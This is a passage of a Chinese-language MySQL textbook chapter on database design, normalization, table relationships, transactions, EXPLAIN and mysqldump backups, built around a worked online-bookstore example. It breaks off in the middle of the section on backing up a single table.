掌握了这些知识后,我们现在需要看看如何设计数据库以实现最大速度和效率。例如,您如何决定将哪些数据放在哪个表中?多年来,已经制定了许多指导原则,如果您遵循这些原则,可以确保您的数据库高效,并且能够随着数据的增加而增长。

数据库设计

在开始创建数据库之前,正确设计数据库非常重要;否则,您几乎肯定需要返回并更改它,分割一些表,合并其他表,并移动各种列,以建立 MySQL 可以轻松使用的合理关系。

坐下来,拿起一张纸和一支铅笔,写下您认为您和您的用户可能会问的一些查询是一个很好的起点。对于在线书店的数据库,您的一些问题可能是:

  • 数据库中有多少作者、书籍和客户?

  • 哪位作者写了某本书?

  • 哪些书是某个作者写的?

  • 哪本书是最贵的?

  • 哪本书是畅销书?

  • 哪些书今年没有销售?

  • 特定客户购买了哪些书籍?

  • 哪些书与其他书同时购买?

当然,在这样的数据库上,您可以提出许多其他查询,但即使这样一个小样本也将开始为您提供如何布置表的见解。例如,书籍和 ISBN 可能可以合并到一个表中,因为它们密切相关(稍后我们将讨论一些微妙之处)。相反,书籍和客户应该在不同的表中,因为它们之间的连接非常松散。一个客户可以购买任何一本书,甚至是多本书,而一本书可以被许多客户购买,也可能被更多潜在客户忽略。

当您计划对某些内容进行大量搜索时,一个搜索通常可以从拥有自己的表中受益。当事物之间的耦合松散时,最好将它们放在单独的表中。

考虑到这些简单的经验法则,我们可以猜测我们至少需要三个表来容纳所有这些查询:

作者

将有很多搜索关于作者的信息,其中许多作者合作撰写了书籍,并且许多作者将出现在合集中。将每位作者的所有信息一起列出,并与该作者关联,将为搜索产生最佳结果,因此有一个 作者 表。

书籍

许多书籍有不同的版本。有时它们会更改出版商,有时它们与其他无关的书籍有相同的标题。因此,书籍和作者之间的链接足够复杂,需要一个单独的表格来处理。

顾客

明确起见,顾客应该有自己的表格,因为他们可以自由购买任何作者的任何书籍。

主键:关系数据库的关键

利用关系数据库的强大功能,我们可以在一个地方定义每位作者、每本书和每位顾客的信息。显然,我们感兴趣的是它们之间的链接——比如谁写了每本书以及谁购买了它——但我们可以通过仅在三个表格之间建立链接来存储这些信息。我将向你展示基本原则,然后你只需实践,它会变得自然而然。

这个神奇的方法是给每个作者一个唯一的标识符。我们将为每本书和每位顾客做同样的事情。我们在前一章中已经看到了这样做的方法:主键。对于书籍来说,使用 ISBN 是有意义的,尽管然后你必须处理具有不同 ISBN 的多个版本。对于作者和顾客,你可以简单地分配任意的键值,上一章中提到的AUTO_INCREMENT功能使这一过程变得容易。

简而言之,每个表格将围绕着你可能经常搜索的某个对象设计——在本例中是作者、书籍或顾客——并且该对象将有一个主键。不要选择可能对不同对象具有相同值的键。ISBN 是一个少见的情况,产业已经提供了一个可以依赖的主键,对于每个产品都是唯一的。大多数情况下,为此目的创建一个任意的键,使用AUTO_INCREMENT

规范化

将数据分成表格并创建主键的过程称为规范化。它的主要目标是确保每个信息片段只出现在数据库中一次。数据重复是低效的,因为它使数据库变得比必要的更大,从而减慢访问速度。更重要的是,重复数据的存在会增加你只更新重复数据的一行的风险,从而在数据库中创建不一致性,可能引发严重的错误。

例如,如果你在作者表格和书籍表格中列出书籍的标题,并且你需要纠正标题中的印刷错误,你必须搜索这两个表格,并确保在书名出现的每个地方都做出相同的更改。最好将书名保留在一个地方,并在其他地方使用 ISBN。

但是在将数据库拆分成多个表格的过程中,重要的是不要走得太远,创建比必要更多的表格,这也会导致设计效率低下和访问速度变慢。

幸运的是,关系模型的发明者 E·F·科德分析了规范化的概念,并将其分为三个称为第一第二第三范式的独立模式。如果按顺序修改数据库以满足这些范式中的每一个,您将确保您的数据库在快速访问和最小内存和磁盘空间使用方面达到最佳平衡。

要了解规范化过程是如何工作的,请从表 9-1 中的相当庞大的数据库开始,该表格显示了一个包含所有作者姓名、书名和(虚构的)客户详细信息的表格。您可以考虑它是一个旨在跟踪哪些客户订购了书籍的第一个尝试。显然,这是一种低效的设计,因为数据到处重复(重复部分已经高亮显示),但这代表了一个起点。

表 9-1. 数据库表的高度低效设计

| 作者 1 | 作者 2 | 标题 | ISBN | 价格 | 客户姓名 | 客户地址 | 购买日期 |
| --- | --- | --- | --- | --- | --- | --- |
| 大卫·斯克拉 | 亚当·特拉彻伯格 | PHP Cookbook | 0596101015 | 44.99 | 艾玛·布朗 | 加利福尼亚州洛杉矶市彩虹路 1565 号 | 2009 年 3 月 3 日 |
| 丹尼·古德曼 |   | 动态 HTML | 0596527403 | 59.99 | 达伦·赖德 | 弗吉尼亚州里士满市艾米丽大道 4758 号 | 2008 年 12 月 19 日 |
| 休·威廉姆斯 | 大卫·莱恩 | PHP 和 MySQL | 0596005436 | 44.95 | 厄尔·B·瑟斯顿 | 肯塔基州法兰克福市格雷戈里大道 862 号 | 2009 年 6 月 22 日 |
| 大卫·斯克拉 | 亚当·特拉彻伯格 | PHP Cookbook | 0596101015 | 44.99 | 达伦·赖德 | 弗吉尼亚州里士满市艾米丽大道 4758 号 | 2008 年 12 月 19 日 |
| 拉斯穆斯·勒多夫 | 凯文·塔特罗 & 彼得·麦金泰尔 | 编程 PHP | 0596006815 | 39.99 | 大卫·米勒 | 马萨诸塞州沃尔瑟姆市思达克莲街 3647 号 | 2009 年 1 月 16 日 |

在接下来的三个部分中,我们将检查这个数据库设计,您将看到我们如何通过消除各种重复条目并将单个表格拆分为包含一种类型数据的多个表格来改进它。

第一范式

要使数据库符合第一范式,它必须满足三个要求:

  • 不应存在包含相同类型数据的重复列。

  • 所有列应包含单一值。

  • 每行应该有一个主键,以唯一标识每一行。

顺序查看这些要求时,您应立即注意到作者 1作者 2列均属于重复数据类型。因此,我们已经有了一个目标列,可以将其拉入单独的表格,因为重复的作者列违反了规则 1。

其次,最终书籍《编程 PHP》列出了三位作者。我通过让凯文·塔特罗彼得·麦金泰尔共享作者 2列来处理这一点,这违反了规则 2——这也是将作者详细信息转移到单独表格的另一个原因。

然而,规则 3 已得到满足,因为 ISBN 的主键已经创建。

表 9-2 显示从表 9-1 中去除作者列的结果。尽管仍然有突出显示的重复项,但看起来清爽多了。

表 9-2. 从表 9-1 中去除作者列的结果

标题 ISBN 价格 客户姓名 客户地址 购买日期
PHP Cookbook 0596101015 44.99 艾玛·布朗 加利福尼亚州洛杉矶市彩虹路 1565 号 2009 年 3 月 3 日
动态 HTML 0596527403 59.99 达伦·赖德 弗吉尼亚州里士满市艾米丽大道 4758 号 2008 年 12 月 19 日
PHP 与 MySQL 0596005436 44.95 厄尔·B·瑟斯顿 肯塔基州法兰克福市格雷戈里巷 862 号 2009 年 6 月 22 日
PHP Cookbook 0596101015 44.99 达伦·赖德 弗吉尼亚州里士满市艾米丽大道 4758 号 2008 年 12 月 19 日
编程 PHP 0596006815 39.99 大卫·米勒 马萨诸塞州沃尔瑟姆市雪松巷 3647 号 2009 年 1 月 16 日

显示在表 9-3 中的新作者表规模小而简单。它只列出标题的 ISBN 及其作者。如果一本书有多位作者,其他作者将有他们自己的行。起初,你可能对这个表感到不适,因为你无法知道哪位作者写了哪本书。但别担心:MySQL 可以快速告诉你。你要做的就是告诉它你想获取信息的书籍,MySQL 将使用其 ISBN 在作者表中进行搜索,仅需几毫秒。

表 9-3. 新的作者表

ISBN 作者
0596101015 大卫·斯克拉
0596101015 亚当·特拉切伯格
0596527403 丹尼·古德曼
0596005436 休·E·威廉姆斯
0596005436 大卫·莱恩
0596006815 拉斯穆斯·勒多夫
0596006815 凯文·塔特罗
0596006815 皮特·麦金泰尔

正如我之前提到的,当我们创建书籍表时,ISBN 将成为其主键。我在这里提到这一点是为了强调 ISBN 不是作者表的主键。在现实世界中,作者表也应该有一个主键,以便每位作者都有一个唯一的标识符。

所以,在作者表中,ISBN只是一列,用于加快搜索速度,我们可能会将其作为一个键,但不是主键。实际上,在这个表中它不能成为主键,因为它不是唯一的:同一个 ISBN 在两个或更多作者合作撰写的书籍中会出现多次。

因为我们将用它来链接另一张表中的作者与书籍,所以这列被称为外键

注意

键(也称为索引)在 MySQL 中有几个目的。定义键的根本原因是加快搜索速度。在第八章中的示例中,您已经看到键在WHERE子句中用于搜索。但键还可以用于唯一标识一个项。因此,唯一键通常用作一张表的主键,并用作外键以将该表中的行链接到另一张表中的行。

第二范式

第一范式处理多列之间的重复数据(或冗余)。第二范式则涉及多行之间的冗余。要实现第二范式,你的表必须已经处于第一范式。完成这一步后,通过识别数据在不同位置重复的列,然后将其移至自己的表中,即可实现第二范式。

因此,让我们再次看看表 9-2。请注意,达伦·赖德购买了两本书,因此他的详细信息重复了。这告诉我们需要将客户列单独提取到自己的表中。表 9-4 显示了从表 9-2 中移除客户列的结果。

表 9-4. 新的标题表

ISBN 标题 价格
0596101015 PHP Cookbook 44.99
0596527403 Dynamic HTML 59.99
0596005436 PHP and MySQL 44.95
0596006815 Programming PHP 39.99

正如您所见,在表 9-4 中,现在仅剩下四本唯一书籍的ISBN标题价格列,因此这现在构成了一个高效且自包含的表,满足了第一和第二范式的要求。在此过程中,我们设法将信息减少到与书名密切相关的数据。此表还可以包括出版年份、页数、再版次数等详细信息,因为这些详细信息也与书名密切相关。唯一的规则是不能在任何列中放入可能对于单本书有多个值的列,因为那样我们就必须在多行中列出同一本书,从而违反第二范式。例如,恢复作者列将违反这种规范化。

然而,看到提取的客户列,现在在表 9-5,我们可以看到仍然有更多的规范化工作要做,因为达伦·赖德的详细信息仍然重复。同时,也可以认为第一范式规则 2(所有列应包含单个值)尚未得到正确遵守,因为地址确实需要拆分为地址城市邮政编码的单独列。

表 9-5. 来自表 9-2 的客户详细信息

ISBN 客户名称 客户地址 购买日期
0596101015 Emma Brown 1565 Rainbow Road, Los Angeles, CA 90014 Mar 03 2009
0596527403 Darren Ryder 4758 Emily Drive, Richmond, VA 23219 Dec 19 2008
0596005436 Earl B. Thurston 862 Gregory Lane, Frankfort, KY 40601 Jun 22 2009
0596101015 Darren Ryder 4758 Emily Drive, Richmond, VA 23219 Dec 19 2008
0596006815 David Miller 3647 Cedar Lane, Waltham, MA 02154 Jan 16 2009

我们必须进一步分割此表,以确保每个客户的详细信息仅输入一次。因为 ISBN 不能用作标识客户(或作者)的主键,所以必须创建一个新的键。

表 9-6 是将Customers表规范化为第一和第二范式的结果。现在每个客户都有一个名为CustNo的唯一客户号,它是表的主键,很可能是通过AUTO_INCREMENT创建的。客户地址的所有部分也已分开为不同的列,以便于搜索和更新。

表 9-6. 新客户表

客户号 姓名 地址 城市 邮编
1 Emma Brown 1565 Rainbow Road 洛杉矶 加利福尼亚 90014
2 Darren Ryder 4758 Emily Drive Richmond VA 23219
3 Earl B. Thurston 862 Gregory Lane Frankfort KY 40601
4 David Miller 3647 Cedar Lane Waltham MA 02154

同时,为了规范化表 9-6,我们不得不删除有关客户购买的信息,否则每本书购买都会有客户详细信息的多个实例。相反,购买数据现在放在一个称为Purchases的新表中(参见表 9-7)。

表 9-7. 新购买表

客户号 ISBN 日期
1 0596101015 Mar 03 2009
2 0596527403 Dec 19 2008
2 0596101015 Dec 19 2008
3 0596005436 Jun 22 2009
4 0596006815 Jan 16 2009

在这里,来自表 9-6 的CustNo列被重用为将CustomersPurchases表联系在一起的键。因为ISBN列也在这里重复,所以这个表也可以与AuthorsTitles表关联。

CustNo 列在Purchases表中可能是一个有用的键,但不是主键。一个客户可以购买多本书(甚至同一本书的多本副本),因此CustNo列不是主键。事实上,Purchases表没有主键。这没关系,因为我们不希望跟踪唯一的购买。如果一个客户在同一天购买了两本相同的书,我们会允许两行具有相同的信息。为了方便搜索,我们可以将CustNoISBN都定义为键,但不是主键。

注意

现在有四个表,比我们最初预计需要的三个多了一个。我们通过规范化过程做出了这个决定,方法是遵循第一和第二范式规则,这明确了还需要一个名为 Purchases 的第四个表。

现在我们有的表是 Authors(表 9-3)、Titles(表 9-4)、Customers(表 9-6)和 Purchases(表 9-7),我们可以使用 CustNoISBN 键将每个表与任何其他表链接起来。

例如,要查看 Darren Ryder 购买了哪些书,你可以在表 9-6,即 Customers 表中查找他;在这里你会看到他的 CustNo 是 2。拿着这个编号,你现在可以去表 9-7,即 Purchases 表;查看这里的 ISBN 列,你会看到他在 2008 年 12 月 19 日购买了书籍 0596527403 和 0596101015。对于人类来说,这看起来是一件很麻烦的事情,但对 MySQL 来说却并不难。

要确定这些标题是什么,你可以参考表 9-4,即 Titles 表,并看到他购买的书是 Dynamic HTMLPHP Cookbook。如果你想知道这些书的作者,你也可以使用刚刚在表 9-3 查找的 ISBN,即 Authors 表,你会发现 ISBN 0596527403 的 Dynamic HTML 是由 Danny Goodman 写的,而 ISBN 0596101015 的 PHP Cookbook 是由 David Sklar 和 Adam Trachtenberg 写的。

第三范式

一旦你有一个符合第一和第二范式的数据库,它就已经非常完善了,你可能不需要进一步修改它。然而,如果你希望对数据库非常严格,你可以确保它符合第三范式,这要求那些不直接依赖于主键但依赖于表中另一个值的数据也被移到单独的表中,根据依赖关系。

例如,在表 9-6 中,Customers 表中可以认为 StateCityZip 键与每个客户并非直接相关,因为许多其他人的地址中也会有相同的细节。然而,它们在彼此之间是直接相关的,因为 Address 依赖于 City,而 City 又依赖于 State

因此,为了满足表 9-6 的第三范式,你需要将它分解成表 9-8 至表 9-11。

表 9-8. 第三范式 Customers 表

CustNo Name Address Zip
1 Emma Brown 1565 Rainbow Road 90014
2 Darren Ryder 4758 Emily Drive 23219
3 Earl B. Thurston 862 Gregory Lane 40601
4 David Miller 3647 Cedar Lane 02154

表 9-9. 第三范式邮政编码表

邮政编码 城市 ID
90014 1234
23219 5678
40601 4321
02154 8765

表 9-10. 第三范式城市表

城市 ID 名称 州 ID
1234 洛杉矶 5
5678 里士满 46
4321 法兰克福 17
8765 沃尔瑟姆 21

表 9-11. 第三范式州表

州 ID 名称 缩写
5 加利福尼亚州 CA
46 弗吉尼亚州 VA
17 肯塔基州 KY
21 马萨诸塞州 MA

那么,您将如何使用这四个表的集合,而不是单个的表 9-6?好吧,您将在表 9-8 中查找Zip code,然后在表 9-9 中找到匹配的CityID。有了这些信息,您可以在表 9-10 中查找城市名称,然后再找到StateID,您可以在表 9-11 中使用它来查找州的名称

虽然以这种方式使用第三范式可能看起来有些多余,但它确实有其优势。例如,请参阅表 9-11,在这里可以同时包括一个州的名称及其两字母缩写。如果您希望,它还可以包含人口详细信息和其他人口统计数据。

注意

表 9-10 还可以包含更多对您和/或您的客户有用的本地化人口统计信息。通过拆分这些数据片段,您可以更轻松地在未来维护您的数据库,如果有必要添加列的话。

决定是否使用第三范式可能会有些棘手。您的评估应基于以后可能需要添加的数据。如果您绝对确定客户的姓名和地址是您所需要的全部信息,那么您可能希望跳过最后这个规范化阶段。

另一方面,假设您正在为美国邮政服务等大型组织编写数据库。如果一个城市改名了,您会怎么做?如果像表 9-6 这样的表,您将需要在每个该城市的实例上进行全局搜索和替换。但是如果您根据第三范式设置了数据库,您只需要在表 9-10 中更改一个条目,即可反映在整个数据库中。

因此,我建议您问自己两个问题,以帮助您决定是否对任何表执行第三范式规范化:

  • 是否可能需要向这个表中添加许多新列?

  • 这个表的任何字段在任何时候是否需要全局更新?

如果两个答案中有任何一个是肯定的,那么您可能应该考虑执行这个最后的规范化阶段。

不使用规范化的时机

现在你已经了解了规范化的所有内容,我要告诉你为什么在高流量站点上应该把这些规则丢掉。没错——在会导致 MySQL 抖动的站点上,你永远不应该完全规范化你的表。

规范化要求在多个表之间分布数据,这意味着每个查询需要对 MySQL 进行多次调用。在一个非常流行的站点上,如果你有规范化的表,一旦并发用户超过几十个,你的数据库访问速度将显著减慢,因为它们将在它们之间创建数百次数据库访问。事实上,我甚至会说,在你能够看到 MySQL 阻塞之前,你应该反规范化任何常常查找的数据。

如果你的表中存在重复的数据,你可以显著减少需要进行的额外请求的数量,因为大多数你想要的数据在每个表中都是可用的。这意味着你只需在查询中添加一个额外的列,该字段将对所有匹配结果可用。

当然,你必须处理之前提到的缺点,比如消耗大量的磁盘空间,并确保在需要修改数据时更新每一个副本。

多次更新可以自动化。MySQL 提供了一个名为触发器的功能,可以在你做出更改时自动修改数据库。(触发器超出了本书的范围。)另一种传播冗余数据的方法是设置一个定期运行的 PHP 程序来保持所有副本同步。该程序从“主”表中读取更改并更新所有其他表。(你将在下一章学习如何从 PHP 访问 MySQL。)

然而,在你对 MySQL 非常熟悉之前,我建议你完全规范化所有表(至少达到第一和第二范式),因为这将养成良好的习惯并使你处于良好的状态。只有当你真正开始看到 MySQL 日志阻塞时,你才应该考虑反规范化。

关系

MySQL 被称为关系型数据库管理系统,因为它的表不仅存储数据,还存储数据之间的关系。有三类关系。

一对一

一个一对一关系就像(传统的)婚姻:每个项目只与另一种类型的项目有关系。这种情况非常罕见。例如,一个作者可以写多本书,一本书可以有多个作者,甚至一个地址可以与多个客户关联。也许在本章中迄今为止最好的一个一对一关系的例子是一个州的名称与其两个字符缩写之间的关系。

但是,为了论证,让我们假设在任何地址只能始终存在一个客户。在这种情况下,图 9-1 中的 Customers–Addresses 关系是一对一关系:每个地址只有一个客户居住,并且每个地址只能有一个客户。

客户表,表 9-8,分成两个表

图 9-1. 客户表,表 9-8,分成两个表

通常,当两个项目具有一对一关系时,您只需将它们作为同一表中的列包括。将它们拆分为单独的表的两个原因是:

  • 您希望做好准备,以防关系以后发生变化,并且不再是一对一。

  • 表格有很多列,你认为通过拆分可以提高性能或维护。

当然,当您在现实世界中构建自己的数据库时,您将不得不创建一对多的客户-地址关系(一个 地址,多个 客户)。

一对多

一对多(或多对一)关系发生在一个表中的一行与另一个表中的多行相关联时。如果允许在同一地址有多个客户,如前所述,表 9-8 将形成一对多关系,这就是为什么在这种情况下必须拆分它。

因此,在 图 9-1 内查看表 9-8a 时,您可以看到它与 表 9-7 具有一对多关系,因为表 9-8a 中每个客户只有一个。然而 表 9-7,Purchases 表,可以(也确实)包含来自同一客户的多次购买。因此,一个 客户与 多个 购买之间存在关系。

您可以在 图 9-2 中并排查看这两个表,其中连接每个表中行的虚线从左侧表的单行开始,但可以连接到右侧表的多行。这种一对多关系也是描述多对一关系的首选方案,此时通常会交换左右表以将它们视为一对多关系。

说明两个表之间的关系

图 9-2. 说明两个表之间的关系

要在关系数据库中表示一对多关系,请为“多”创建一个表和“一”创建一个表。 “多”表必须包含一个列,该列列出“一”表的主键。因此,Purchases 表将包含一个列,列出客户的主键。

多对多

多对多关系 中,一个表中的多行与另一个表中的多行关联。要创建此关系,请添加一个包含其他每个表中相同关键列的第三个表。该第三个表除了连接其他表之外什么也不包含,因为它的唯一目的就是连接其他表。

Table 9-12 就是这样一张表。它是从 Table 9-7,即 Purchases 表中提取的,但省略了购买日期信息。它包含每个售出书籍的 ISBN 及其购买者的客户号的副本。

Table 9-12. 一个中介表

CustNo ISBN
1 0596101015
2 0596527403
2 0596101015
3 0596005436
4 0596006815

有了这个中介表,您可以通过一系列的关联遍历数据库中的所有信息。您可以以地址作为起点,查找住在该地址的客户购买的任何书籍的作者。

例如,假设您想了解邮政编码为 23219 的购买情况。在表 9-8b 中查找该邮政编码,您会发现客户号为 2 的客户至少购买了一件数据库中的物品。此时,您可以使用表 9-8a 查找该客户的姓名,或使用新的中介 Table 9-12 查看购买的书籍。

从这里,您将发现购买了两个标题,并可以跟踪它们回到 Table 9-4 查找这些书籍的标题和价格,或者到 Table 9-3 查看这些书籍的作者。

如果您觉得这实际上是将多个一对多关系结合在一起,那么您是完全正确的。为了说明这一点,Figure 9-3 将三个表结合在一起。

通过第三张表创建多对多关系

图 9-3. 通过第三张表创建多对多关系

跟随左侧表中的任何邮政编码到相关的客户 ID。从那里,您可以链接到中间表,该表通过链接客户 ID 和 ISBN 连接左侧和右侧表。现在您只需跟随一个 ISBN 到右侧表,即可查看它与哪本书相关联。

您还可以使用中介表从书名反向查找到邮政编码。Titles 表可以告诉您 ISBN,然后您可以在中间表中使用这个 ISBN 找到购买该书的客户的 ID 号码,最后您可以使用 Customers 表将客户 ID 号码与客户的邮政编码匹配。

数据库与匿名性

使用关系的一个有趣方面是,你可以累积关于某个项(如客户)的大量信息,而不需要实际了解该客户是谁。请注意,在前面的示例中,我们从客户的邮政编码到客户的购买记录,再返回,而无需了解客户的姓名。数据库可以用于跟踪人员,但也可以帮助保护人们的隐私,同时返回关于购买的信息,而不泄露其他客户详细信息,例如。

事务

在一些应用程序中,确保一系列查询按正确顺序运行,并且每个查询都成功完成非常重要。例如,假设你正在创建一系列用于从一个银行账户转账到另一个账户的查询。你不希望发生以下事件之一:

  • 你将资金添加到第二个账户,但当你尝试从第一个账户扣除时,更新失败,现在两个账户都有资金。

  • 你从第一个银行账户中扣除资金,但是添加到第二个账户的更新请求失败了,资金就这样消失了。

如你所见,在这种类型的事务中,查询的顺序非常重要,而且事务的每个部分都必须成功完成。但是,如何确保这种情况发生呢?因为一旦发生了查询,它就无法撤销了?你是否需要跟踪事务的所有部分,然后逐个撤销它们?答案绝对是否定的,因为 MySQL 提供了强大的事务处理功能,正好可以处理这些情况。

另外,事务允许多个用户或程序同时访问数据库。MySQL 通过确保所有事务排队执行,并确保用户或程序依次执行,而不会互相干扰,无缝处理这一过程。

事务存储引擎

要使用 MySQL 的事务功能,你必须使用 MySQL 的 InnoDB 存储引擎(从版本 5.5 开始默认使用)。如果不确定你的代码将在哪个版本的 MySQL 上运行,而不是假设 InnoDB 是默认引擎,你可以在创建表时强制使用它,如下所示。

通过在示例 9-1 中输入命令来创建一个银行账户表。(记住,为此你需要访问 MySQL 命令行,并且必须已经选择了一个适合创建此表的数据库。)

示例 9-1. 创建一个事务准备的表
CREATE TABLE accounts (
 number INT, balance FLOAT, PRIMARY KEY(number)
 ) ENGINE InnoDB;
DESCRIBE accounts;

此示例的最后一行显示了新表的内容,以确保它已正确创建。输出应如下所示:

+---------+---------+------+-----+---------+-------+
| Field   | Type    | Null | Key | Default | Extra |
+---------+---------+------+-----+---------+-------+
| number  | int(11) | NO   | PRI | NULL    |       |
| balance | float   | YES  |     | NULL    |       |
+---------+---------+------+-----+---------+-------+
2 rows in set (0.00 sec)

现在让我们在表内创建两行,以便你可以练习使用事务。在示例 9-2 中输入这些命令。

示例 9-2. 填充 accounts 表
INSERT INTO accounts(number, balance) VALUES(12345, 1025.50);
INSERT INTO accounts(number, balance) VALUES(67890, 140.00);
SELECT * FROM accounts;

第三行显示表格内容以确认行已正确插入。输出应如下所示:

+--------+---------+
| number | balance |
+--------+---------+
|  12345 |  1025.5 |
|  67890 |     140 |
+--------+---------+
2 rows in set (0.00 sec)

创建并预填充了这个表后,你可以开始使用事务了。

使用 BEGIN

MySQL 的事务以 BEGINSTART TRANSACTION 语句开始。键入 示例 9-3 中的命令将事务发送给 MySQL。

示例 9-3. MySQL 事务
BEGIN;
UPDATE accounts SET balance=balance+25.11 WHERE number=12345;
COMMIT;
SELECT * FROM accounts;

这个事务的结果由最后一行显示,应如下所示:

+--------+---------+
| number | balance |
+--------+---------+
|  12345 | 1050.61 |
|  67890 |     140 |
+--------+---------+
2 rows in set (0.00 sec)

正如你所见,账号 12345 的余额增加了 25.11,现在是 1050.61。你也许注意到了 示例 9-3 中的 COMMIT 命令,接下来将对其进行解释。

使用 COMMIT

当你确认事务中的一系列查询已成功完成时,使用 COMMIT 命令将所有更改提交到数据库。在接收到 COMMIT 命令之前,MySQL 认为你所做的所有更改只是临时的。这个功能让你有机会通过不发送 COMMIT 而是发出 ROLLBACK 命令来取消事务。

使用 ROLLBACK

使用 ROLLBACK 命令,你可以告诉 MySQL 忘记从事务开始以来的所有查询,并取消事务。通过在 示例 9-4 中输入资金转移事务来看看它的运行效果。

示例 9-4. 资金转移事务
BEGIN;
UPDATE accounts SET balance=balance-250 WHERE number=12345;
UPDATE accounts SET balance=balance+250 WHERE number=67890;
SELECT * FROM accounts;

输入完这些行后,你应该看到以下结果:

+--------+---------+
| number | balance |
+--------+---------+
|  12345 |  800.61 |
|  67890 |     390 |
+--------+---------+
2 rows in set (0.00 sec)

第一个银行账户的值比之前少了 250,第二个账户增加了 250;你已经在它们之间转移了 250 的价值。但假设出现了问题,你希望撤销这笔交易。你只需按照 示例 9-5 中的命令执行即可。

示例 9-5. 使用 ROLLBACK 取消事务
ROLLBACK;
SELECT * FROM accounts;

现在你应该看到以下输出,显示两个账户的先前余额已经恢复,因为整个事务已通过 ROLLBACK 命令被取消:

+--------+---------+
| number | balance |
+--------+---------+
|  12345 | 1050.61 |
|  67890 |     140 |
+--------+---------+
2 rows in set (0.00 sec)

使用 EXPLAIN

MySQL 提供了一个强大的工具来调查你向其发出的查询的解释方式。使用 EXPLAIN,你可以获取任何查询的快照,以查明是否可以以更好或更有效的方式发出它。示例 9-6 展示了如何与你之前创建的 accounts 表一起使用它。

示例 9-6. 使用 EXPLAIN 命令
EXPLAIN SELECT * FROM accounts WHERE number='12345';

这个 EXPLAIN 命令的结果应该如下所示:

+--+------+--------+------+-----+--------+-------+----+-----+----+------+-----+
|id|select|table   |part- |type |possible|key    |key |ref  |rows|fil-  |Extra|
|  |_type |        |itions|     |_keys   |       |_len|     |    |tered |     |
+--+------+--------+------+-----+--------+-------+----+-----+----+------+-----+
|1 |SIMPLE|accounts|NULL  |const|PRIMARY |PRIMARY|4   |const|1   |100.00|NULL |
+--+------+--------+------+-----+--------+-------+----+-----+----+------+-----+
1 row in set (0.00 sec)

MySQL 在此给出的信息如下:

select_type

选择类型是 SIMPLE。如果你正在将表连接在一起,这将显示连接类型。

table

当前正在查询的表是 accounts

type

查询类型为const。从效率最低到最高的类型,可能的值可以是ALLindexrangerefeq_refconstsystemNULL

possible_keys

存在一个PRIMARY键,这意味着访问应该很快。

key

实际使用的键是PRIMARY。这很好。

key_len

键长度为4。这是 MySQL 将使用的索引字节数。

ref

ref列显示与键一起使用的列或常量。在这种情况下,正在使用一个常量键。

rows

此查询需要搜索的行数为1。这很好。

每当你有一个查询似乎执行时间比你预期的长时,请尝试使用EXPLAIN来查看可以优化的地方。你将会发现哪些键(如果有的话)正在使用,它们的长度等信息,从而可以相应地调整你的查询或表的设计。

注意

当您完成临时accounts表的实验后,可能希望通过输入以下命令将其删除:

DROP TABLE accounts;

备份与恢复

无论您在数据库中存储哪种类型的数据,它对您都必须有一定的价值,即使只是重新输入它所需的时间成本,如果硬盘发生故障。因此,重要的是您保持备份以保护您的投资。此外,有时您必须将数据库迁移到新服务器;通常最好的方法是先备份它。还重要的是,您定期测试备份以确保它们有效,并且在需要时能够使用。

幸运的是,使用mysqldump命令轻松备份和恢复 MySQL 数据。

使用 mysqldump

使用mysqldump,您可以将一个或多个数据库转储到一个或多个文件中,这些文件包含重新创建所有表并填充其数据所需的所有指令。此命令还可以生成CSV(逗号分隔值)和其他分隔文本格式的文件,甚至是 XML 格式的文件。其主要缺点是在备份时必须确保没有人在写入表。有各种方法可以做到这一点,但最简单的方法是在运行mysqldump之前关闭 MySQL 服务器,然后在mysqldump完成后重新启动服务器。

或者,在运行mysqldump之前,您可以锁定要备份的表。要锁定表以便读取数据(因为我们想要读取数据),请从 MySQL 命令行执行以下命令:

LOCK TABLES *`tablename1`* READ, *`tablename2`* READ ...

然后,要释放锁,请输入以下命令:

UNLOCK TABLES;

默认情况下,mysqldump的输出只是简单地打印出来,但您可以通过>重定向符号将其捕获到文件中。

mysqldump命令的基本格式如下所示:

mysqldump -u *user* -p*password database*

但在转储数据库内容之前,必须确保 mysqldump 在你的路径中,否则需在命令中指定其位置。表 9-13 显示了在不同安装和操作系统中可能的程序位置,这些已在第二章中涵盖。如果使用不同的安装程序,则其位置可能略有不同。

表 9-13. 不同安装的 mysqldump 的可能位置

操作系统和程序 可能的文件夹位置
Windows AMPPS C:\Program Files\Ampps\mysql\bin
macOS AMPPS /Applications/ampps/mysql/bin
Linux AMPPS /Applications/ampps/mysql/bin

因此,要将你在第八章中创建的publications数据库的内容转储到屏幕上,首先退出 MySQL,然后输入示例 9-7 中的命令(必要时指定mysqldump的完整路径)。

示例 9-7. 将 publications 数据库转储到屏幕上
mysqldump -u *user* -p*password* publications

确保用你的 MySQL 安装的正确详细信息替换 userpassword。如果用户没有设置密码,可以省略命令的这部分,但 -u user 部分是必需的,除非你以 root 身份执行而无需密码并且正在以 root 身份执行(不推荐)。执行此命令的结果将类似于 图 9-4。

将 publications 数据库转储到屏幕上

图 9-4. 将 publications 数据库转储到屏幕上

创建备份文件

现在 mysqldump 可以工作,并且已验证其正确输出到屏幕,你可以使用 > 重定向符号直接将备份数据发送到文件。假设你希望将备份文件命名为 publications.sql,则输入 示例 9-8 中的命令(记得替换 userpassword 为正确的详细信息)。

注意

示例 9-8 中的命令将备份文件存储到当前目录。如果需要保存到其他位置,应在文件名之前插入文件路径。还必须确保备份目录已设置正确的权限,允许写入文件,但不允许任何非特权用户访问!

示例 9-8. 将 publications 数据库转储到文件中
mysqldump -u *user* –p*password* publications > publications.sql
注意

有时在使用 Windows PowerShell 访问 MySQL 时可能会出现错误,而在标准命令提示符窗口中则看不到这些错误。

如果将备份文件 echo 到屏幕或加载到文本编辑器中,你会看到它包含如下的 SQL 命令序列:

DROP TABLE IF EXISTS 'classics';
CREATE TABLE 'classics' (
  'author' varchar(128) default NULL,
  'title' varchar(128) default NULL,
  'category' varchar(16) default NULL,
  'year' smallint(6) default NULL,
  'isbn' char(13) NOT NULL default '',
  PRIMARY KEY  ('isbn'),
  KEY 'author' ('author'(20)),
  KEY 'title' ('title'(20)),
  KEY 'category' ('category'(4)),
  KEY 'year' ('year'),
  FULLTEXT KEY 'author_2' ('author','title')
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

这是一个智能代码,可用于从备份中恢复数据库,即使当前数据库已存在;它将首先删除需要重新创建的任何表,从而避免可能出现的 MySQL 错误。

备份单个表

要仅从数据库备份中备份单个表(例如从publications数据库的classics表),您应首先从 MySQL 命令行内锁定该表,通过发出以下命令:

LOCK TABLES publications.classics READ;

